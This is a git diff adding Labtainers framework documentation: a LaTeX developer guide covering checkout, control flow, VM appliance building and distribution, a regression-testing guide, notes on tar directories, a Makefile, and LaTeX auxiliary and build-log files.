total={170mm,257mm},left=20mm, top=20mm,} +\usepackage[colorlinks=true,linkcolor=blue,urlcolor=black]{hyperref} +\usepackage{bookmark} +\usepackage[autostyle, english = american]{csquotes} +\begin{document} +\begin{titlepage} +\title {Labtainer Framework Development Guide} +\maketitle + +\vspace{2.0in} +This document was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) at the Naval Postgraduate School NPS. +Please note that within the United States, copyright protection is not available for any works created +by United States Government employees, pursuant to Title 17 United States Code Section 105. +This document is in the public domain and is not subject to copyright. +\end{titlepage} +\tableofcontents +\newpage +\section {Introduction} +This document is intended for use by developers who maintain the +Labtainer framework. It does not address lab creation, which is +covered in the \textit {Labtainers Lab Designer User Guide}. + + +\section{Developer Software Prerequisits} +\begin {itemize} +\item Subversion +\item Latex (texlive-full) +\end {itemize} + + +\section{Getting Labtainers from Subversion} +svn co https://tor.ern.nps.edu/svn/proj/labtainer +Change directory to trunk/setup-scripts and run ./after-checkout.sh. The will build the PDF lab +manuals so that you can reference the manuals while you test or otherwise reference +existing labs. (Please follow the lab manual and report discrepancies!) +It will also create any executables required by the framework. +Then run ./pull-all.sh to pull all the baseline images (so that your running of +existing labs is more akin to what students and instructors do so we can better test that). + +\section{Testing and Running Existing Labs} +There are situations where you will run an existing lab, e.g., to test it, or to +observe some example. When running labs, please refer to the lab manuals +so that they get reivewed and tested by different people. Also, please first delete +the lab using trunk/setup\_scripts/removelab.sh to ensure that you are running the latest +version of the published lab. If you find the lab to be broken, e.g., missing a file, please +attempt to run "rebuild.py" on the lab. Report these findings to the lab author. And always +run removelab.sh after you have run an existing lab via rebuild.py. Again, the goal is to +force ourselves to run the distributed labs unless we have specific reasons to do otherwise. + +\section{Overview of Labtainer Elements} +The Labtainer framework implementation is primarily python scripts. A number of the +top level scripts share functions found in bin/labutils.py. The +top level scripts are organized as follows: + +\begin{itemize} +\item Student {\tt labtainers} (start) and {\tt stoplab} -- In the labtainers-student/bin directory, these run on the +Linux host and manage the pulling, starting and stopping of containers. They also coordinate +collection of student artifacts. +\item Student container scripts -- In the labtainers-student/lab\_bin directory, these execute on +containers, e.g., to hook bash and parameterize containers. +\item Instructor {\tt gradelab} and {\tt stopgrader}-- Push student artifacts onto grader container and get assessment results. +\item Instructor container scripts -- perform grading functions. +\item Developer building -- rebuild.py in labtainers-student/bin and labtainers-instructor/bin. +\item Publishing labs -- labtainers/distrib/publish.py +\item Base Labtainer images -- /trunk/scripts/designer/bin, create and publish the base images. +\item VM appliances -- /trunk/host\_scripts, update and publish VM appliances as OVA files for +VirtualBox and VMWare. +\item Regression testing of grading functions is performed by labtainer-instructor/regress.py. +Expected results are stored in the labtainer/testsets directory. +\item Regression testing of labs and grading combined: scripts in trunk/testsets/bin; data sets +are not distributed, they are in labtainer/simlab/ +\end{itemize} + +\section {Control Flow} +Student scripts, e.g., start.py, run from the trunk/scripts/labtainer-student directory. +That directory also contains the bin/labutils.py, which contains most of the framework +functions. + +When a student container is first started "docker exec" is used +to run parameterize.sh on the container. + +That script also invokes hookBash.sh, which adds the bash +sdtin/stout capturing hook, and adds the startup.sh call +into the .profile. + +The startup.sh uses a lock to control which +terminal displays the instructions or grading. In practice most +instructions are now pdf files. +The startup.sh invoked by student will source a student\_startup.sh if present. + +\section{Automation and Distributions} +The Labtainer framework is distributed via the c3o website as a tar file, or, optionally a +VM applicance (both VMWare and VirtualBox). The Docker images are distributed via the Docker Hub. + +The labtainer/distrib/mkdist.sh script runs on a Linux VM hosted on windows or Linux, and creates the distribution tar +and copies it into a shared folder. The mk-devel.sh script makes the developers version of the tar. +From that shared folder, the two tar files are copied to the +\begin{verbatim} +\\my.nps.edu@SSL\DavWWWRoot\webdav\c30-staging\document\_library" +\end{verbatim} +\noindent and then "Publish to Live" is +performed on the Liferay site. + +Two prepackaged VMs are maintained: one for VirtualBox, and one for VMWare. Each include +their respective guest additions. The VMs are maintained on a native Linux system using command line +utilities, e.g., VBoxManage. The VMs are rigged to update labtainers, including a pull of +baseline images, on each boot until the first lab is commenced. Scripts named "export*" are +used to created the appliance files. The scripts re-import into test images, which must be +manually tested. The WinSCP script pushes new applicance images to the CyberCIEGE download +directory on the C3O web server. (Wine and WinSCP must be installed on the Linux host that +manages the VMs. + +New baseline images are created using scripts/designer/bin/create\_all.sh. Note its comment +about deleting all docker images first. When new baselines are created, use the labtainer-scripts +on the native Linux system to update the VM appliances so they contain the latest baseline images. +After the VM starts and updates the baseline images, use: +\begin{verbatim} +sudo dd if=/dev/zero of=/emptyfile bs=1M +sudo rm -fr /emptyfile +\end{verbatim} +\noindent to zero unused space and then run +\begin{verbatim} +./poweroffVB.sh +./compact.sh +\end{verbatim} +\noindent to compact the VM image. Then export it: +\begin{verbatim} +./exportVB.sh +\end{verbatim} +\noindent This will create the appliance OVA image, and will create a test +VM from that appliance. The test VM will start. Use that to run ad-hoc +tests. + +Do the same for vmware. + +Then push the images to the web server + +The appliances automatically update the baselines and the Labtainer scripts on boot, so there +is only really advantage to doing this for baseline changes, since they take a while to download. +After running the poweron/poweroff scripts, then run the exportVM.sh to + +\section {installation sizes} +An initial install, including the base images, requires about 4GB. Installing a larger lab, +e.g., snort, requires an additional 1GB. Running bufoverflow added 22M. + + +\section {Notes} +\subsection {Race condition on checklocal.sh output} +If an mynotify.py event causes an output from checklocal.py, that may conflict with +concurrent output from checklocal.py resulting from some program/script running. In +theory, the program/script should complete its run of checklocal before the program/script +actually gets to access the file that triggers a mynotify watch. So, the latter's output +to the timestamped file is appended. Further, the mynotify.py looks for an existing timestamped +file, and if not found, looks for one from the previous second. This hack is an attempt to +keep the outputs merged. It will fail if the access does not happen within a second of the +program start. See the acl lab. + +\subsection {temporal logic considerations} +When evaluating results from logfiles containing timestamps use FILE\_TS or FILE\_TS\_REGEX +to ensure you get timestamped values for only matching records. Reliance on goals.config to +matchany can result in timestamped results that don't corrolate to the desired record. + +\subsection {parameterizing the start.config} +A copy of the parameterized version of start.config is placed into +labtainer-student/.tmp//. This ensures that subsequent runs of the lab always +have the same psuedo random values. + +\subsection {Packaging} +The framework has not yet been adapted to use Linux package managers. +Currently, scripts are run from a workspace directory and python +paths are managed relatively between scripts. + +\subsection{Todo} +Change smoke test to look for email in expected results and set that as the email before starting a lab. +Validation should catch results.config naming of non-existent container. + + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.toc b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.toc new file mode 100644 index 000000000..cc41b3da7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/development.toc @@ -0,0 +1,14 @@ +\contentsline {section}{\numberline {1}Introduction}{2}{section.1} +\contentsline {section}{\numberline {2}Developer Software Prerequisits}{2}{section.2} +\contentsline {section}{\numberline {3}Getting Labtainers from Subversion}{2}{section.3} +\contentsline {section}{\numberline {4}Testing and Running Existing Labs}{2}{section.4} +\contentsline {section}{\numberline {5}Overview of Labtainer Elements}{2}{section.5} +\contentsline {section}{\numberline {6}Control Flow}{3}{section.6} +\contentsline {section}{\numberline {7}Automation and Distributions}{3}{section.7} +\contentsline {section}{\numberline {8}installation sizes}{4}{section.8} +\contentsline {section}{\numberline {9}Notes}{4}{section.9} +\contentsline {subsection}{\numberline {9.1}Race condition on checklocal.sh output}{4}{subsection.9.1} +\contentsline {subsection}{\numberline {9.2}temporal logic considerations}{4}{subsection.9.2} +\contentsline {subsection}{\numberline {9.3}parameterizing the start.config}{4}{subsection.9.3} +\contentsline {subsection}{\numberline {9.4}Packaging}{4}{subsection.9.4} +\contentsline {subsection}{\numberline {9.5}Todo}{5}{subsection.9.5} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/git.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/git.txt new file mode 100644 index 000000000..45dcff170 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/git.txt @@ -0,0 +1,5 @@ +DO NOT git svn fetch +git svn rebase +### IF NEEDED ? git pull https://github.com/mfthomps/Labtainers +git push origin master + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/tars b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/tars new file mode 100644 index 000000000..d21860178 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/tars @@ -0,0 +1,21 @@ +Large compressible file sets, e.g., system programs with a lot of files, or +big password crackign files, can be managed using lab directories ending in +"_tar". for example trunk/labs//m_tar might contain several large +files. These files are kept in svn as descrete files (the tar is not in svn). +The image build process will tar (and compress) all such files into +a "m_tar.tar" The designer must direct the Dockerfile to "Add" this file +to the desired destination within the appropriate container. (The name +of the tar directory has no semantics beyond selecting the name of the +tar file and directing the build to tar its content.) The build function +WILL DELETE any .tar files in such directores before performing the tar. + +The mkdist function will create a tar, but will also remove all other files +from its temporary copy of the _tar directory. In other words, only tar files +will appear in the distribution tar. NOTE: this makes a "rebuild" of a +distributed repo precarious. As such, the build function will not do anything +if the only file in a _tar directory is the tarball. + +The home_tar directory has distinct semantics. Files that originate from +there will not be collected in studnet artifacts SO DO NOT PUT modifiable files +there if you student mods are graded or germane to the lab. A home_tar.list +file is created in config & referenced when zipping up home. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/testing.md b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/testing.md new file mode 100644 index 000000000..949323836 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/development/testing.md @@ -0,0 +1,70 @@ +Labtainer Regression Testing Guide +================================== + +This manual is intended for use by lab designers wanting +to perform regression testing, i.e., verify labs previously +created will have the same result (grades.txt) after code changes +(for example code changes to instructor's side related to grading, etc.) + +Regression Testing root (TESTSETS_ROOT) directory will be located in +directory ../../../testsets/labs (this is relative to the script +regresstest.py that is located in ...../labtainer/trunk/scripts/labtainer-instructor + +Under the TESTSETS_ROOT directory, there will be directory for each labs. +In each of the lab directories, there will be zip files and corresponding '.grades.txt' + +The regresstest.py script will use the zip files for each lab, +spawns the corresponding instructor's containers for the lab, +the zip files are copied into the instructor's container, +then the 'instructor.py' script is ran to create/generate the '.grades.txt' +The generated grade file is compared to the one stored in the TESTSETS_ROOT for that lab, +if they are the same, then the regression test for that lab is considered successful. +otherwise, it is considered as failure and regresstest.py script will terminate. + +1. Preparing the test sets or Populating the TESTSETS_ROOT directory + + The zip files that are stored in the TESTSETS_ROOT directory are obtained +by running the lab as a student, i.e., performing the tasks required by the lab +as a student. Once the container for the lab is stopped, the zip files for the lab +is created (and stored in the host transfer directory). + + The zip files must be copied to the TESTSETS_ROOT directory. + +Note: It might be easier to perform each task for a lab as separate user (i.e., using + different e-mail addresses). + For example: for the formatstring lab, crash the vulnerable program as joe@nps.edu + stop the container and save the zip file + then, modify the secret1 value as ann@nps.edu + stop the container and save the zip file + The zip file will have the e-mail address as part of the name + +2. Creating the 'GOLD' grades.txt file + + Once the zip files are created from step 1 above, perform the grading using the +corresponding instructor's container for the lab (by running the 'instructor.py' script) + +The 'instructor.py' script will create the '.grades.txt' file for each 'student' +corresponding to the e-mail addresses found as part of the zip files. + +Verify that the grades file generated is correct. +Once the grades file is verified as correct, when the instructor's container is stopped, +the grades file (.grades.txt) is copied to the host transfer directory. + +This grades file must then be copied into the TESTSETS_ROOT directory for that lab +and will be treated as the 'GOLD' grades.txt file, i.e., when regresstest.py is re-run +(after some code changes), the generated grades file will be compared against that GOLD file + +3. Running Regression Testing + + To run the regression testing (if there is any change to the code), it is simply done +by running the 'regresstest.py' script. + +The regresstest.py script maybe given one argument (reflecting a specific labname) to test +or no argument (in which case all labs will be tested). + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/Makefile new file mode 100644 index 000000000..fb422e0e0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/Makefile @@ -0,0 +1,6 @@ +labtainer-instructor.pdf: labtainer-instructor.tex + latex labtainer-instructor + pdflatex labtainer-instructor +clean: + rm -fr auto + rm -fr labtainer-instructor.aux labtainer-instructor.pdf *.ps *.dvi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.aux b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.aux new file mode 100644 index 000000000..149233bdc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.aux @@ -0,0 +1,36 @@ +\relax +\providecommand\hyper@newdestlabel[2]{} +\providecommand\BKM@entry[2]{} +\providecommand\HyperFirstAtBeginDocument{\AtBeginDocument} +\HyperFirstAtBeginDocument{\ifx\hyper@anchor\@undefined +\global\let\oldcontentsline\contentsline +\gdef\contentsline#1#2#3#4{\oldcontentsline{#1}{#2}{#3}} +\global\let\oldnewlabel\newlabel +\gdef\newlabel#1#2{\newlabelxx{#1}#2} +\gdef\newlabelxx#1#2#3#4#5#6{\oldnewlabel{#1}{{#2}{#3}}} +\AtEndDocument{\ifx\hyper@anchor\@undefined +\let\contentsline\oldcontentsline +\let\newlabel\oldnewlabel +\fi} +\fi} +\global\let\hyper@last\relax +\gdef\HyperFirstAtBeginDocument#1{#1} +\providecommand\HyField@AuxAddToFields[1]{} +\providecommand\HyField@AuxAddToCoFields[2]{} +\BKM@entry{id=1,dest={73656374696F6E2E31},srcline={12}}{496E74726F64756374696F6E} +\BKM@entry{id=2,dest={73756273656374696F6E2E312E31},srcline={34}}{41737369676E696E672061204C6162} +\BKM@entry{id=3,dest={73756273656374696F6E2E312E32},srcline={49}}{417373657373696E672061204C6162} +\@writefile{toc}{\contentsline {section}{\numberline {1}Introduction}{1}{section.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {1.1}Assigning a Lab}{1}{subsection.1.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {1.2}Assessing a Lab}{1}{subsection.1.2}} +\BKM@entry{id=4,dest={73756273756273656374696F6E2E312E322E31},srcline={97}}{5265766965772061727469666163742064657461696C73} +\BKM@entry{id=5,dest={73656374696F6E2E32},srcline={120}}{4D616E6167696E67204C61627461696E657220496E7374616C6C6174696F6E7320616E642055706461746573} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {1.2.1}Review artifact details}{2}{subsubsection.1.2.1}} +\BKM@entry{id=6,dest={73756273656374696F6E2E322E31},srcline={140}}{53756767657374696F6E7320666F722073747564656E7420776F726B666C6F77} +\@writefile{toc}{\contentsline {section}{\numberline {2}Managing Labtainer Installations and Updates}{3}{section.2}} +\@writefile{toc}{\contentsline {subsection}{\numberline {2.1}Suggestions for student workflow}{3}{subsection.2.1}} +\BKM@entry{id=7,dest={617070656E6469782E41},srcline={150}}{4C4D532041737369676E6D656E7420436F6C6C656374696F6E} +\BKM@entry{id=8,dest={73756273656374696F6E2E412E31},srcline={152}}{53616B6169} +\@writefile{toc}{\contentsline {section}{\numberline {A}\\LMS Assignment Collection}{4}{appendix.A}} +\newlabel{lms collection}{{A}{4}{\\LMS Assignment Collection}{appendix.A}{}} +\@writefile{toc}{\contentsline {subsection}{\numberline {A.1}Sakai}{4}{subsection.A.1}} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.dvi b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.dvi new file mode 100644 index 000000000..5d44fe84a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.dvi differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.log b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.log new file mode 100644 index 000000000..553ba475e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/instructor/labtainer-instructor.log @@ -0,0 +1,362 @@ +This is pdfTeX, Version 3.14159265-2.6-1.40.16 (TeX Live 2015/Debian) (preloaded format=pdflatex 2019.6.19) 19 JUN 2019 12:22 +entering extended mode + restricted \write18 enabled. + %&-line parsing enabled. +**labtainer-instructor +(./labtainer-instructor.tex +LaTeX2e <2016/02/01> +Babel <3.9q> and hyphenation patterns for 3 language(s) loaded. +(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls +Document Class: article 2014/09/29 v1.4h Standard LaTeX document class +(/usr/share/texlive/texmf-dist/tex/latex/base/size12.clo +File: size12.clo 2014/09/29 v1.4h Standard LaTeX file (size option) +) +\c@part=\count79 +\c@section=\count80 +\c@subsection=\count81 +\c@subsubsection=\count82 +\c@paragraph=\count83 +\c@subparagraph=\count84 +\c@figure=\count85 +\c@table=\count86 +\abovecaptionskip=\skip41 +\belowcaptionskip=\skip42 +\bibindent=\dimen102 +) +(/usr/share/texlive/texmf-dist/tex/latex/geometry/geometry.sty +Package: geometry 2010/09/12 v5.6 Page Geometry + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty +Package: keyval 2014/10/28 v1.15 key=value parser (DPC) +\KV@toks@=\toks14 +) +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifpdf.sty +Package: ifpdf 2011/01/30 v2.3 Provides the ifpdf switch (HO) +Package ifpdf Info: pdfTeX in PDF mode is detected. +) +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifvtex.sty +Package: ifvtex 2010/03/01 v1.5 Detect VTeX and its facilities (HO) +Package ifvtex Info: VTeX not detected. +) +(/usr/share/texlive/texmf-dist/tex/generic/ifxetex/ifxetex.sty +Package: ifxetex 2010/09/12 v0.6 Provides ifxetex conditional +) +\Gm@cnth=\count87 +\Gm@cntv=\count88 +\c@Gm@tempcnt=\count89 +\Gm@bindingoffset=\dimen103 +\Gm@wd@mp=\dimen104 +\Gm@odd@mp=\dimen105 +\Gm@even@mp=\dimen106 +\Gm@layoutwidth=\dimen107 +\Gm@layoutheight=\dimen108 +\Gm@layouthoffset=\dimen109 +\Gm@layoutvoffset=\dimen110 +\Gm@dimlist=\toks15 +) +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hyperref.sty +Package: hyperref 2012/11/06 v6.83m Hypertext links for LaTeX + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-hyperref.sty +Package: hobsub-hyperref 2012/05/28 v1.13 Bundle oberdiek, subset hyperref (HO) + + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-generic.sty +Package: hobsub-generic 2012/05/28 v1.13 Bundle oberdiek, subset generic (HO) +Package: hobsub 2012/05/28 v1.13 Construct package bundles (HO) +Package: infwarerr 2010/04/08 v1.3 Providing info/warning/error messages (HO) +Package: ltxcmds 2011/11/09 v1.22 LaTeX kernel commands for general use (HO) +Package: ifluatex 2010/03/01 v1.3 Provides the ifluatex switch (HO) +Package ifluatex Info: LuaTeX not detected. +Package hobsub Info: Skipping package `ifvtex' (already loaded). +Package: intcalc 2007/09/27 v1.1 Expandable calculations with integers (HO) +Package hobsub Info: Skipping package `ifpdf' (already loaded). +Package: etexcmds 2011/02/16 v1.5 Avoid name clashes with e-TeX commands (HO) +Package etexcmds Info: Could not find \expanded. +(etexcmds) That can mean that you are not using pdfTeX 1.50 or +(etexcmds) that some package has redefined \expanded. +(etexcmds) In the latter case, load this package earlier. +Package: kvsetkeys 2012/04/25 v1.16 Key value parser (HO) +Package: kvdefinekeys 2011/04/07 v1.3 Define keys (HO) +Package: pdftexcmds 2011/11/29 v0.20 Utility functions of pdfTeX for LuaTeX (HO +) +Package pdftexcmds Info: LuaTeX not detected. +Package pdftexcmds Info: \pdf@primitive is available. +Package pdftexcmds Info: \pdf@ifprimitive is available. +Package pdftexcmds Info: \pdfdraftmode found. +Package: pdfescape 2011/11/25 v1.13 Implements pdfTeX's escape features (HO) +Package: bigintcalc 2012/04/08 v1.3 Expandable calculations on big integers (HO +) +Package: bitset 2011/01/30 v1.1 Handle bit-vector datatype (HO) +Package: uniquecounter 2011/01/30 v1.2 Provide unlimited unique counter (HO) +) +Package hobsub Info: Skipping package `hobsub' (already loaded). +Package: letltxmacro 2010/09/02 v1.4 Let assignment for LaTeX macros (HO) +Package: hopatch 2012/05/28 v1.2 Wrapper for package hooks (HO) +Package: xcolor-patch 2011/01/30 xcolor patch +Package: atveryend 2011/06/30 v1.8 Hooks at the very end of document (HO) +Package atveryend Info: \enddocument detected (standard20110627). +Package: atbegshi 2011/10/05 v1.16 At begin shipout hook (HO) +Package: refcount 2011/10/16 v3.4 Data extraction from label references (HO) +Package: hycolor 2011/01/30 v1.7 Color options for hyperref/bookmark (HO) +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/auxhook.sty +Package: auxhook 2011/03/04 v1.3 Hooks for auxiliary files (HO) +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/kvoptions.sty +Package: kvoptions 2011/06/30 v3.11 Key value format for package options (HO) +) +\@linkdim=\dimen111 +\Hy@linkcounter=\count90 +\Hy@pagecounter=\count91 + +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/pd1enc.def +File: pd1enc.def 2012/11/06 v6.83m Hyperref: PDFDocEncoding definition (HO) +) +\Hy@SavedSpaceFactor=\count92 + +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/hyperref.cfg +File: hyperref.cfg 2002/06/06 v1.2 hyperref configuration of TeXLive +) +Package hyperref Info: Option `colorlinks' set `true' on input line 4319. +Package hyperref Info: Hyper figures OFF on input line 4443. +Package hyperref Info: Link nesting OFF on input line 4448. +Package hyperref Info: Hyper index ON on input line 4451. +Package hyperref Info: Plain pages OFF on input line 4458. +Package hyperref Info: Backreferencing OFF on input line 4463. +Package hyperref Info: Implicit mode ON; LaTeX internals redefined. +Package hyperref Info: Bookmarks ON on input line 4688. +\c@Hy@tempcnt=\count93 + +(/usr/share/texlive/texmf-dist/tex/latex/url/url.sty +\Urlmuskip=\muskip10 +Package: url 2013/09/16 ver 3.4 Verb mode for urls, etc. +) +LaTeX Info: Redefining \url on input line 5041. +\XeTeXLinkMargin=\dimen112 +\Fld@menulength=\count94 +\Field@Width=\dimen113 +\Fld@charsize=\dimen114 +Package hyperref Info: Hyper figures OFF on input line 6295. +Package hyperref Info: Link nesting OFF on input line 6300. +Package hyperref Info: Hyper index ON on input line 6303. +Package hyperref Info: backreferencing OFF on input line 6310. +Package hyperref Info: Link coloring ON on input line 6313. +Package hyperref Info: Link coloring with OCG OFF on input line 6320. +Package hyperref Info: PDF/A mode OFF on input line 6325. +LaTeX Info: Redefining \ref on input line 6365. +LaTeX Info: Redefining \pageref on input line 6369. +\Hy@abspage=\count95 +\c@Item=\count96 +\c@Hfootnote=\count97 +) + +Package hyperref Message: Driver (autodetected): hpdftex. + +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hpdftex.def +File: hpdftex.def 2012/11/06 v6.83m Hyperref driver for pdfTeX +\Fld@listcount=\count98 +\c@bookmark@seq@number=\count99 + +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/rerunfilecheck.sty +Package: rerunfilecheck 2011/04/15 v1.7 Rerun checks for auxiliary files (HO) +Package uniquecounter Info: New unique counter `rerunfilecheck' on input line 2 +82. +) +\Hy@SectionHShift=\skip43 +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/bookmark.sty +Package: bookmark 2011/12/02 v1.24 PDF bookmarks (HO) + +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/bkm-pdftex.def +File: bkm-pdftex.def 2011/12/02 v1.24 bookmark driver for pdfTeX (HO) +\BKM@id=\count100 +)) +(/usr/share/texlive/texmf-dist/tex/latex/csquotes/csquotes.sty +Package: csquotes 2016/01/31 v5.1g context-sensitive quotations (JAW) + +(/usr/share/texlive/texmf-dist/tex/latex/etoolbox/etoolbox.sty +Package: etoolbox 2015/08/02 v2.2a e-TeX tools for LaTeX (JAW) +\etb@tempcnta=\count101 +) +\csq@reset=\count102 +\csq@gtype=\count103 +\csq@glevel=\count104 +\csq@qlevel=\count105 +\csq@maxlvl=\count106 +\csq@tshold=\count107 +\csq@ltx@everypar=\toks16 + +(/usr/share/texlive/texmf-dist/tex/latex/csquotes/csquotes.def +File: csquotes.def 2016/01/31 v5.1g csquotes generic definitions (JAW) +) +Package csquotes Info: Trying to load configuration file 'csquotes.cfg'... +Package csquotes Info: ... configuration file loaded successfully. + +(/usr/share/texlive/texmf-dist/tex/latex/csquotes/csquotes.cfg +File: csquotes.cfg +) +Package csquotes Info: Enabling multilingual quotes. +Package csquotes Info: Redefining alias 'english' -> 'english/american'. +) +(/usr/share/texlive/texmf-dist/tex/latex/appendix/appendix.sty +Package: appendix 2009/09/02 v1.2b extra appendix facilities +\c@@pps=\count108 +\c@@ppsavesec=\count109 +\c@@ppsaveapp=\count110 +) +Package csquotes Info: Checking for multilingual support... +Package csquotes Info: ... none found. + + +Package csquotes Warning: No multilingual support. +(csquotes) Cannot enable multilingual quotes on input line 8. + +(./labtainer-instructor.aux) +\openout1 = `labtainer-instructor.aux'. + +LaTeX Font Info: Checking defaults for OML/cmm/m/it on input line 8. +LaTeX Font Info: ... okay on input line 8. +LaTeX Font Info: Checking defaults for T1/cmr/m/n on input line 8. +LaTeX Font Info: ... okay on input line 8. +LaTeX Font Info: Checking defaults for OT1/cmr/m/n on input line 8. +LaTeX Font Info: ... okay on input line 8. +LaTeX Font Info: Checking defaults for OMS/cmsy/m/n on input line 8. +LaTeX Font Info: ... okay on input line 8. +LaTeX Font Info: Checking defaults for OMX/cmex/m/n on input line 8. +LaTeX Font Info: ... okay on input line 8. +LaTeX Font Info: Checking defaults for U/cmr/m/n on input line 8. +LaTeX Font Info: ... okay on input line 8. +LaTeX Font Info: Checking defaults for PD1/pdf/m/n on input line 8. +LaTeX Font Info: ... okay on input line 8. + +*geometry* driver: auto-detecting +*geometry* detected driver: pdftex +*geometry* verbose mode - [ preamble ] result: +* driver: pdftex +* paper: a4paper +* layout: +* layoutoffset:(h,v)=(0.0pt,0.0pt) +* modes: +* h-part:(L,W,R)=(56.9055pt, 483.69684pt, 56.90553pt) +* v-part:(T,H,B)=(56.9055pt, 731.23582pt, 56.90552pt) +* \paperwidth=597.50787pt +* \paperheight=845.04684pt +* \textwidth=483.69684pt +* \textheight=731.23582pt +* \oddsidemargin=-15.36449pt +* \evensidemargin=-15.36449pt +* \topmargin=-52.36449pt +* \headheight=12.0pt +* \headsep=25.0pt +* \topskip=12.0pt +* \footskip=30.0pt +* \marginparwidth=44.0pt +* \marginparsep=10.0pt +* \columnsep=10.0pt +* \skip\footins=10.8pt plus 4.0pt minus 2.0pt +* \hoffset=0.0pt +* \voffset=0.0pt +* \mag=1000 +* \@twocolumnfalse +* \@twosidefalse +* \@mparswitchfalse +* \@reversemarginfalse +* (1in=72.27pt=25.4mm, 1cm=28.453pt) + +\AtBeginShipoutBox=\box26 +(/usr/share/texlive/texmf-dist/tex/latex/graphics/color.sty +Package: color 2016/01/03 v1.1b Standard LaTeX Color (DPC) + +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/color.cfg +File: color.cfg 2007/01/18 v1.5 color configuration of teTeX/TeXLive +) +Package color Info: Driver file: pdftex.def on input line 143. + +(/usr/share/texlive/texmf-dist/tex/latex/pdftex-def/pdftex.def +File: pdftex.def 2011/05/27 v0.06d Graphics/color for pdfTeX +\Gread@gobject=\count111 + +(/usr/share/texlive/texmf-dist/tex/context/base/supp-pdf.mkii +[Loading MPS to PDF converter (version 2006.09.02).] +\scratchcounter=\count112 +\scratchdimen=\dimen115 +\scratchbox=\box27 +\nofMPsegments=\count113 +\nofMParguments=\count114 +\everyMPshowfont=\toks17 +\MPscratchCnt=\count115 +\MPscratchDim=\dimen116 +\MPnumerator=\count116 +\makeMPintoPDFobject=\count117 +\everyMPtoPDFconversion=\toks18 +))) +Package hyperref Info: Link coloring ON on input line 8. + (/usr/share/texlive/texmf-dist/tex/latex/hyperref/nameref.sty +Package: nameref 2012/10/27 v2.43 Cross-referencing by name of section + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/gettitlestring.sty +Package: gettitlestring 2010/12/03 v1.4 Cleanup title references (HO) +) +\c@section@level=\count118 +) +LaTeX Info: Redefining \ref on input line 8. +LaTeX Info: Redefining \pageref on input line 8. +LaTeX Info: Redefining \nameref on input line 8. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <14.4> on input line 11. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <7> on input line 11. + + +LaTeX Warning: No \author given. + +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <12> on input line 17. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <8> on input line 17. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <6> on input line 17. +[1 + +{/var/lib/texmf/fonts/map/pdftex/updmap/pdftex.map}] + +LaTeX Warning: Reference `review-artifacts' on page 2 undefined on input line 8 +4. + +[2] [3] + +Package hyperref Warning: Token not allowed in a PDF string (PDFDocEncoding): +(hyperref) removing `\\' on input line 150. + +Package atveryend Info: Empty hook `BeforeClearDocument' on input line 169. +[4] +Package atveryend Info: Empty hook `AfterLastShipout' on input line 169. + (./labtainer-instructor.aux) +Package atveryend Info: Executing hook `AtVeryEndDocument' on input line 169. +Package atveryend Info: Empty hook `AtEndAfterFileList' on input line 169. + + +LaTeX Warning: There were undefined references. + +Package atveryend Info: Empty hook `AtVeryVeryEnd' on input line 169. + ) +Here is how much of TeX's memory you used: + 6461 strings out of 494953 + 95580 string characters out of 6180977 + 196169 words of memory out of 5000000 + 9718 multiletter control sequences out of 15000+600000 + 8977 words of font info for 32 fonts, out of 8000000 for 9000 + 14 hyphenation exceptions out of 8191 + 